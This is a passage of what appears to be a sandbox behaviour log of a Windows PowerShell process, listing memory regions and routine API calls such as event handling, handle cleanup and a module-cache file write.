"c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\windows\\caches\\{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x0000000000000007.db") Region: id = 2676 start_va = 0x48d0000 end_va = 0x48d0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000048d0000" filename = "" Region: id = 2681 start_va = 0x4580000 end_va = 0x4583fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 2682 start_va = 0x49f0000 end_va = 0x4a1ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x000000000000000e.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x000000000000000e.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x000000000000000e.db") Region: id = 2683 start_va = 0x48e0000 end_va = 0x48e3fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 2684 start_va = 0x5d10000 end_va = 0x5d75fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000002.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db") Region: id = 2685 start_va = 0x5f20000 end_va = 0x6020fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005f20000" filename = "" Region: id = 2686 start_va = 0x5f20000 end_va = 0x6020fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005f20000" filename = "" Region: id = 2687 start_va = 0x5f20000 end_va = 0x6020fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005f20000" filename = "" Region: id = 2688 start_va = 0x5f20000 end_va = 0x6020fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005f20000" filename = "" Region: id = 2696 start_va = 0x5fa0000 end_va = 0x5fdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005fa0000" filename = "" Region: id = 2697 start_va = 0x6050000 end_va = 0x608ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006050000" filename = "" Region: id = 2698 start_va = 0x76cb0000 end_va = 0x76e4cfff monitored = 0 entry_point = 0x76cb17e7 region_type = mapped_file name = "setupapi.dll" filename = "\\Windows\\SysWOW64\\setupapi.dll" (normalized: "c:\\windows\\syswow64\\setupapi.dll") Region: id = 2699 start_va = 0x7ef83000 end_va = 0x7ef85fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef83000" filename = "" Region: id = 2700 start_va = 0x76240000 end_va = 0x76266fff monitored = 0 entry_point = 0x762458b9 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\SysWOW64\\cfgmgr32.dll" (normalized: "c:\\windows\\syswow64\\cfgmgr32.dll") Region: id = 2701 start_va = 0x773c0000 end_va = 0x773d1fff monitored = 0 entry_point = 0x773c1441 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\SysWOW64\\devobj.dll" (normalized: "c:\\windows\\syswow64\\devobj.dll") Region: id = 2702 start_va = 0x4930000 end_va = 0x493cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "setupapi.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\setupapi.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\setupapi.dll.mui") Region: id = 2703 start_va = 0x6090000 end_va = 0x6190fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006090000" filename = "" Region: id = 2704 start_va = 0x6090000 end_va = 0x6190fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006090000" filename = "" Region: id = 2705 start_va = 0x6090000 end_va = 0x6190fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006090000" filename = "" Region: id = 2706 start_va = 0x6090000 end_va = 0x6190fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006090000" filename = "" Region: id = 2707 start_va = 0x6090000 end_va = 0x6190fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006090000" filename = "" Region: id = 2708 start_va = 0x6090000 end_va = 0x6190fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006090000" filename = "" Region: id = 2709 start_va = 0x6090000 end_va = 0x6190fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006090000" filename = "" Region: id = 2710 start_va = 0x6090000 end_va = 0x6190fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006090000" filename = "" Region: id = 2722 start_va = 0x73b00000 end_va = 0x73b4bfff monitored = 0 entry_point = 0x73b02c14 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\SysWOW64\\apphelp.dll" (normalized: "c:\\windows\\syswow64\\apphelp.dll") Region: id = 2723 start_va = 0x75280000 end_va = 0x752adfff monitored = 0 entry_point = 0x75281bba region_type = mapped_file name = "shdocvw.dll" filename = "\\Windows\\SysWOW64\\shdocvw.dll" (normalized: "c:\\windows\\syswow64\\shdocvw.dll") Region: id = 2728 start_va = 0x4940000 end_va = 0x494dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "propsys.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\propsys.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\propsys.dll.mui") Region: id = 2729 start_va = 0x75470000 end_va = 0x755a5fff monitored = 0 entry_point = 0x75471b35 region_type = mapped_file name = "urlmon.dll" filename = "\\Windows\\SysWOW64\\urlmon.dll" (normalized: "c:\\windows\\syswow64\\urlmon.dll") Region: id = 2730 start_va = 0x765c0000 end_va = 0x766b4fff monitored = 0 entry_point = 0x765c1865 region_type = mapped_file name = "wininet.dll" filename = "\\Windows\\SysWOW64\\wininet.dll" (normalized: "c:\\windows\\syswow64\\wininet.dll") Region: id = 2731 start_va = 0x76e50000 end_va = 0x7704afff monitored = 0 entry_point = 0x76e522d9 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\SysWOW64\\iertutil.dll" (normalized: "c:\\windows\\syswow64\\iertutil.dll") Region: id = 2733 start_va = 0x5d80000 end_va = 0x5dbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005d80000" filename = "" Region: id = 2734 start_va = 0x6160000 end_va = 0x619ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006160000" filename = "" Region: id = 2735 start_va = 0x7ef80000 end_va = 0x7ef82fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef80000" filename = "" Region: id = 2736 start_va = 0x4990000 end_va = 0x4990fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004990000" filename = "" Region: id = 2934 start_va = 0x44a0000 end_va = 0x44affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000044a0000" filename = "" Region: id = 2935 start_va = 0x5050000 end_va = 0x508ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005050000" filename = "" Region: id = 2936 start_va = 0x5230000 end_va = 0x526ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005230000" filename = "" Region: id = 2937 start_va = 0x7ef9e000 end_va = 0x7efa0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef9e000" filename = "" Thread: id = 28 os_tid = 0xed4 [0209.531] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x554 [0209.531] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=1, lpName=0x0) returned 0x550 [0209.531] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x548 [0209.531] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x558 [0209.531] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x560 [0209.532] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=1, lpName=0x0) returned 0x5a0 [0209.532] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x574 [0209.532] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x5b0 [0209.532] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x5b4 [0209.533] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=1, lpName=0x0) returned 0x5b8 [0209.533] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x5bc [0209.533] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x5c0 [0209.533] SetEvent (hEvent=0x558) returned 1 [0209.533] SetEvent (hEvent=0x554) returned 1 [0209.533] SetEvent (hEvent=0x550) returned 1 [0209.533] SetEvent (hEvent=0x548) returned 1 [0209.533] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x5c4 [0209.534] SetEvent (hEvent=0x370) returned 1 [0209.661] SetEvent (hEvent=0x560) returned 1 [0209.661] SetEvent (hEvent=0x5a0) returned 1 [0209.661] SetEvent (hEvent=0x574) returned 1 [0210.075] CoCreateGuid (in: pguid=0x1ce168 | out: pguid=0x1ce168*(Data1=0xbe736e63, Data2=0x8479, Data3=0x4777, Data4=([0]=0xb1, [1]=0x4d, [2]=0x86, [3]=0x48, [4]=0x95, [5]=0x4c, [6]=0x51, [7]=0xd4))) returned 0x0 [0210.078] ReportEventW (hEventLog=0x4e50004, wType=0x4, wCategory=0x4, dwEventID=0x193, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x25df4fc*="Stopped", lpRawData=0x25df424) returned 1 [0210.483] SetEvent (hEvent=0x370) returned 1 [0210.881] CloseHandle (hObject=0x370) returned 1 [0211.626] SetConsoleCtrlHandler (HandlerRoutine=0x0, Add=0) returned 1 [0211.738] CoGetContextToken (in: pToken=0x1cf834 | out: pToken=0x1cf834) returned 0x0 [0211.738] CObjectContext::QueryInterface () returned 0x0 [0211.739] CObjectContext::GetCurrentThreadType () returned 0x0 [0211.739] Release () returned 0x0 [0211.740] CoGetContextToken (in: pToken=0x1cf544 | out: pToken=0x1cf544) returned 0x0 [0211.740] CObjectContext::QueryInterface () returned 0x0 [0211.740] CObjectContext::GetCurrentThreadType () returned 0x0 [0211.740] Release () returned 0x0 [0211.742] CoGetContextToken (in: pToken=0x1cf544 | out: pToken=0x1cf544) returned 0x0 [0211.742] CObjectContext::QueryInterface () returned 0x0 [0211.742] CObjectContext::GetCurrentThreadType () returned 0x0 [0211.742] Release () returned 0x0 [0211.876] CoGetContextToken (in: pToken=0x1cf544 | out: pToken=0x1cf544) returned 0x0 [0211.876] CObjectContext::QueryInterface () returned 0x0 [0211.876] CObjectContext::GetCurrentThreadType () returned 0x0 [0211.876] Release () returned 0x0 [0212.044] CoGetContextToken (in: pToken=0x1cf564 | out: pToken=0x1cf564) returned 0x0 [0212.044] CObjectContext::QueryInterface () returned 0x0 [0212.044] CObjectContext::GetCurrentThreadType () returned 0x0 [0212.044] Release () returned 0x0 [0212.045] CoUninitialize () Thread: id = 30 os_tid = 0xef0 Thread: id = 32 os_tid = 0xefc [0172.763] RegCloseKey (hKey=0x36c) returned 0x0 [0189.504] CloseHandle (hObject=0x3dc) returned 1 [0204.720] CloseHandle (hObject=0x3a4) returned 1 [0211.740] EtwEventUnregister () returned 0x0 [0211.740] EtwEventUnregister () returned 0x0 [0211.740] EtwEventUnregister () returned 0x0 [0211.740] EtwEventUnregister () returned 0x0 [0211.741] EtwEventUnregister () returned 0x0 [0211.741] EtwEventUnregister () returned 0x0 [0211.741] EtwEventUnregister () returned 0x0 [0211.741] EtwEventUnregister () returned 0x0 [0211.801] LocalFree (hMem=0x3f2bf8) returned 0x0 [0211.803] LocalFree (hMem=0x3f2b70) returned 0x0 [0211.812] EtwEventUnregister () returned 0x0 [0211.827] CloseHandle (hObject=0x2d0) returned 1 [0211.847] CloseHandle (hObject=0x348) returned 1 [0211.850] CloseHandle (hObject=0x344) returned 1 [0211.851] CloseHandle (hObject=0x340) returned 1 [0211.852] CloseHandle (hObject=0x19c) returned 1 [0211.852] CloseHandle (hObject=0x2b8) returned 1 [0211.853] CloseHandle (hObject=0x404) returned 1 [0211.854] CloseHandle (hObject=0x3fc) returned 1 [0211.855] CloseHandle (hObject=0x318) returned 1 [0211.857] CloseHandle (hObject=0x3e0) returned 1 [0211.858] UnmapViewOfFile (lpBaseAddress=0x4360000) returned 1 [0211.861] LocalFree (hMem=0x442dd0) returned 0x0 [0211.862] CloseHandle (hObject=0x420) returned 1 [0211.864] CloseHandle (hObject=0x41c) returned 1 [0211.865] CloseHandle (hObject=0x3a4) returned 1 [0211.865] CloseHandle (hObject=0x5b4) returned 1 [0211.866] CloseHandle (hObject=0x5b0) returned 1 [0211.867] CloseHandle (hObject=0x574) returned 1 [0211.868] CloseHandle (hObject=0x45c) returned 1 [0211.869] CloseHandle (hObject=0x424) returned 1 [0211.870] CloseHandle (hObject=0x418) returned 1 [0211.871] CloseHandle (hObject=0x410) returned 1 [0211.871] CloseHandle (hObject=0x414) returned 1 [0211.872] CloseHandle (hObject=0x2c8) returned 1 [0211.873] CloseHandle (hObject=0x36c) returned 1 [0211.874] CloseHandle (hObject=0x5a0) returned 1 [0211.874] CloseHandle (hObject=0xf) returned 1 [0211.930] CloseHandle (hObject=0x560) returned 1 [0211.930] CloseHandle (hObject=0x558) returned 1 [0211.931] CloseHandle (hObject=0x548) returned 1 [0211.931] CloseHandle (hObject=0x550) returned 1 [0211.931] CloseHandle (hObject=0x554) returned 1 [0211.932] CloseHandle (hObject=0x5ac) returned 1 [0211.932] CloseHandle (hObject=0x40c) returned 1 [0211.932] CloseHandle (hObject=0x408) returned 1 [0211.932] CloseHandle (hObject=0x270) returned 1 [0211.933] DeregisterEventSource (hEventLog=0x4e50004) returned 1 [0212.035] CloseHandle (hObject=0x5c4) returned 1 [0212.036] CloseHandle (hObject=0x5c0) returned 1 [0212.036] CloseHandle (hObject=0x5bc) returned 1 [0212.037] CloseHandle (hObject=0x5b8) returned 1 [0212.038] LocalFree (hMem=0x469910) returned 0x0 [0212.038] CloseHandle (hObject=0x368) returned 1 [0212.039] RegCloseKey (hKey=0x80000004) returned 0x0 [0212.039] CloseHandle (hObject=0x364) returned 1 [0212.040] CloseHandle (hObject=0x360) returned 1 [0212.040] CloseHandle (hObject=0x35c) returned 1 [0212.041] CloseHandle (hObject=0x358) returned 1 [0212.041] CloseHandle (hObject=0x354) returned 1 [0212.042] CloseHandle (hObject=0x350) returned 1 [0212.042] CloseHandle (hObject=0x34c) returned 1 Thread: id = 33 os_tid = 0xf00 Thread: id = 96 os_tid = 0xf6c [0165.325] CoCreateGuid (in: pguid=0x42feaa0 | out: pguid=0x42feaa0*(Data1=0x88bd31d6, Data2=0x849e, Data3=0x4220, Data4=([0]=0xba, [1]=0x10, [2]=0xf2, [3]=0xd, [4]=0x85, [5]=0xec, [6]=0x2c, [7]=0x12))) returned 0x0 Thread: id = 97 os_tid = 0xf70 Thread: id = 100 os_tid = 0xf7c Thread: id = 102 os_tid = 0xf84 [0186.331] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\windows\\powershell\\moduleanalysiscache")) returned 0x2020 [0186.332] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache", nBufferLength=0x104, lpBuffer=0x469910, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache", lpFilePart=0x0) returned 0x51 [0186.332] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x4b0f1b0) returned 1 [0186.332] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\windows\\powershell\\moduleanalysiscache"), fInfoLevelId=0x0, lpFileInformation=0x2653e50 | out: lpFileInformation=0x2653e50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa18da600, ftCreationTime.dwHighDateTime=0x1d7b064, ftLastAccessTime.dwLowDateTime=0xa18da600, ftLastAccessTime.dwHighDateTime=0x1d7b064, ftLastWriteTime.dwLowDateTime=0xa1900760, ftLastWriteTime.dwHighDateTime=0x1d7b064, nFileSizeHigh=0x0, nFileSizeLow=0x3511)) returned 1 [0186.332] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x4b0f1ac) returned 1 [0186.333] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x52 [0186.333] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache", nBufferLength=0x52, lpBuffer=0x469910, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache", lpFilePart=0x0) returned 0x51 [0186.333] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x4b0f39c) returned 1 [0186.334] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\windows\\powershell\\moduleanalysiscache"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x428 [0186.335] GetFileType (hFile=0x428) returned 0x1 [0186.335] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x4b0f398) returned 1 [0186.335] GetFileType (hFile=0x428) returned 0x1 [0186.529] WriteFile (in: hFile=0x428, lpBuffer=0x2653f9c*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x4b0f420, lpOverlapped=0x0 | out: lpBuffer=0x2653f9c*, lpNumberOfBytesWritten=0x4b0f420*=0x1000, lpOverlapped=0x0) returned 1 [0186.531] WriteFile (in: hFile=0x428, lpBuffer=0x2653f9c*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x4b0f420, lpOverlapped=0x0 | out: lpBuffer=0x2653f9c*, lpNumberOfBytesWritten=0x4b0f420*=0x1000, lpOverlapped=0x0) returned 1 [0186.673] WriteFile (in: hFile=0x428, lpBuffer=0x24bf89c*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x4b0f420, lpOverlapped=0x0 | out: lpBuffer=0x24bf89c*, lpNumberOfBytesWritten=0x4b0f420*=0x1000, lpOverlapped=0x0) returned 1 [0186.674] WriteFile (in: hFile=0x428, lpBuffer=0x24bf89c*, nNumberOfBytesToWrite=0x606, lpNumberOfBytesWritten=0x4b0f40c, lpOverlapped=0x0 | out: lpBuffer=0x24bf89c*, lpNumberOfBytesWritten=0x4b0f40c*=0x606, lpOverlapped=0x0) returned 1 [0186.675] CloseHandle (hObject=0x428) returned 1 [0186.679] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x52 [0186.679] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache", nBufferLength=0x52, lpBuffer=0x469910, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache", lpFilePart=0x0) returned 0x51 [0186.679] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x4b0f1b0) returned 1 [0186.679] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\windows\\powershell\\moduleanalysiscache"), fInfoLevelId=0x0, lpFileInformation=0x24c2af4 | out: lpFileInformation=0x24c2af4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa18da600, ftCreationTime.dwHighDateTime=0x1d7b064, ftLastAccessTime.dwLowDateTime=0xa18da600, ftLastAccessTime.dwHighDateTime=0x1d7b064, ftLastWriteTime.dwLowDateTime=0xe2f7b090, ftLastWriteTime.dwHighDateTime=0x1d7b45b, nFileSizeHigh=0x0, nFileSizeLow=0x3606)) returned 1 [0186.680] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x4b0f1ac) returned 1 Thread: id = 105 os_tid = 0xf90 Thread: id = 110 os_tid = 0xfa4 Thread: id = 111 os_tid = 0xfa8 Thread: id = 116 os_tid = 0xfbc [0211.876] CoGetContextToken (in: pToken=0x4d5f8e4 | out: pToken=0x4d5f8e4) returned 0x0 [0211.876] CObjectContext::QueryInterface () returned 0x0 [0211.876] CObjectContext::GetCurrentThreadType () returned 0x0 [0211.876] Release () returned 0x0 Thread: id = 117 os_tid = 0xfc0 Thread: id = 122 os_tid = 0xfd4 Thread: id = 123 os_tid = 0xfd8 Thread: id = 124 os_tid = 0xfdc Thread: id = 131 os_tid = 0xabc Thread: id = 132 os_tid = 0xb94 Thread: id = 137 os_tid = 0xb78 Thread: id = 144 os_tid = 0xaa4 [0164.437] SetThreadUILanguage (LangId=0x0) returned 0x409 [0164.458] EtwEventRegister () returned 0x0 [0164.811] CoCreateGuid (in: pguid=0x5a2f12c | out: pguid=0x5a2f12c*(Data1=0x9ff7c2cf, Data2=0x888f, Data3=0x4a50, Data4=([0]=0xbe, [1]=0x7, [2]=0xb0, [3]=0xec, [4]=0x27, [5]=0xbc, [6]=0x9e, [7]=0x9b))) returned 0x0 [0164.834] QueryPerformanceFrequency (in: lpFrequency=0x1e4e28 | out: lpFrequency=0x1e4e28*=100000000) returned 1 [0164.835] QueryPerformanceCounter (in: lpPerformanceCount=0x5a2f10c | out: lpPerformanceCount=0x5a2f10c*=1259230904153) returned 1 [0164.837] GetCurrentProcessId () returned 0xed0 [0164.837] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xed0) returned 0x3c4 [0164.837] EnumProcessModules (in: hProcess=0x3c4, lphModule=0x2586f4c, cb=0x100, lpcbNeeded=0x5a2f004 | out: lphModule=0x2586f4c, lpcbNeeded=0x5a2f004) returned 1 [0164.839] GetModuleInformation (in: hProcess=0x3c4, hModule=0xc40000, lpmodinfo=0x258708c, cb=0xc | out: lpmodinfo=0x258708c*(lpBaseOfDll=0xc40000, SizeOfImage=0x6b000, EntryPoint=0xc4d330)) returned 1 [0164.839] CoTaskMemAlloc (cb=0x804) returned 0x468bf8 [0164.839] GetModuleBaseNameW (in: hProcess=0x3c4, hModule=0xc40000, lpBaseName=0x468bf8, nSize=0x800 | out: lpBaseName="powershell.exe") returned 0xe [0164.840] CoTaskMemFree (pv=0x468bf8) [0164.840] CoTaskMemAlloc (cb=0x804) returned 0x468bf8 [0164.840] GetModuleFileNameExW (in: hProcess=0x3c4, hModule=0xc40000, lpFilename=0x468bf8, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershell.exe")) returned 0x39 [0164.840] CoTaskMemFree (pv=0x468bf8) [0164.840] CloseHandle (hObject=0x3c4) returned 1 [0164.841] LocalReAlloc (hMem=0x3e98f8, uBytes=0x208, uFlags=0x2) returned 0x469910 [0164.841] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe", nBufferLength=0x104, lpBuffer=0x469910, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe", lpFilePart=0x0) returned 0x39 [0164.841] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2ed3c) returned 1 [0164.841] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershell.exe"), fInfoLevelId=0x0, lpFileInformation=0x5a2f000 | out: lpFileInformation=0x5a2f000*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b7f9180, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8b7f9180, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x7711b3a3, ftLastWriteTime.dwHighDateTime=0x1d251bc, nFileSizeHigh=0x0, nFileSizeLow=0x68400)) returned 1 [0164.842] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2ed38) returned 1 [0164.842] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe", lpdwHandle=0x5a2f074 | out: lpdwHandle=0x5a2f074) returned 0x74c [0164.842] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe", dwHandle=0x0, dwLen=0x74c, lpData=0x25892c0 | out: lpData=0x25892c0) returned 1 [0164.843] VerQueryValueW (in: pBlock=0x25892c0, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x5a2f048, puLen=0x5a2f044 | out: lplpBuffer=0x5a2f048*=0x2589660, puLen=0x5a2f044) returned 1 [0164.843] VerQueryValueW (in: pBlock=0x25892c0, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\CompanyName", lplpBuffer=0x5a2efc8, puLen=0x5a2efc4 | out: lplpBuffer=0x5a2efc8*=0x2589378, puLen=0x5a2efc4) returned 1 [0164.843] VerQueryValueW (in: pBlock=0x25892c0, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\FileDescription", lplpBuffer=0x5a2efc8, puLen=0x5a2efc4 | out: lplpBuffer=0x5a2efc8*=0x25893cc, puLen=0x5a2efc4) returned 1 [0164.843] VerQueryValueW (in: pBlock=0x25892c0, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\FileVersion", lplpBuffer=0x5a2efc8, puLen=0x5a2efc4 | out: lplpBuffer=0x5a2efc8*=0x2589414, puLen=0x5a2efc4) returned 1 [0164.843] VerQueryValueW (in: pBlock=0x25892c0, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\InternalName", lplpBuffer=0x5a2efc8, puLen=0x5a2efc4 | out: lplpBuffer=0x5a2efc8*=0x2589488, puLen=0x5a2efc4) returned 1 [0164.843] VerQueryValueW (in: pBlock=0x25892c0, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\LegalCopyright", lplpBuffer=0x5a2efc8, puLen=0x5a2efc4 | out: lplpBuffer=0x5a2efc8*=0x25894c4, puLen=0x5a2efc4) returned 1 [0164.843] VerQueryValueW (in: pBlock=0x25892c0, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\OriginalFilename", lplpBuffer=0x5a2efc8, puLen=0x5a2efc4 | out: lplpBuffer=0x5a2efc8*=0x2589548, puLen=0x5a2efc4) returned 1 [0164.843] VerQueryValueW (in: pBlock=0x25892c0, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\ProductName", lplpBuffer=0x5a2efc8, puLen=0x5a2efc4 | out: lplpBuffer=0x5a2efc8*=0x2589590, puLen=0x5a2efc4) returned 1 [0164.844] VerQueryValueW (in: pBlock=0x25892c0, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\ProductVersion", lplpBuffer=0x5a2efc8, puLen=0x5a2efc4 | out: lplpBuffer=0x5a2efc8*=0x2589600, puLen=0x5a2efc4) returned 1 [0164.844] VerQueryValueW (in: pBlock=0x25892c0, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\Comments", lplpBuffer=0x5a2efc8, puLen=0x5a2efc4 | out: lplpBuffer=0x5a2efc8*=0x0, puLen=0x5a2efc4) returned 0 [0164.844] VerQueryValueW (in: pBlock=0x25892c0, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\LegalTrademarks", lplpBuffer=0x5a2efc8, puLen=0x5a2efc4 | out: lplpBuffer=0x5a2efc8*=0x0, puLen=0x5a2efc4) returned 0 [0164.844] VerQueryValueW (in: pBlock=0x25892c0, 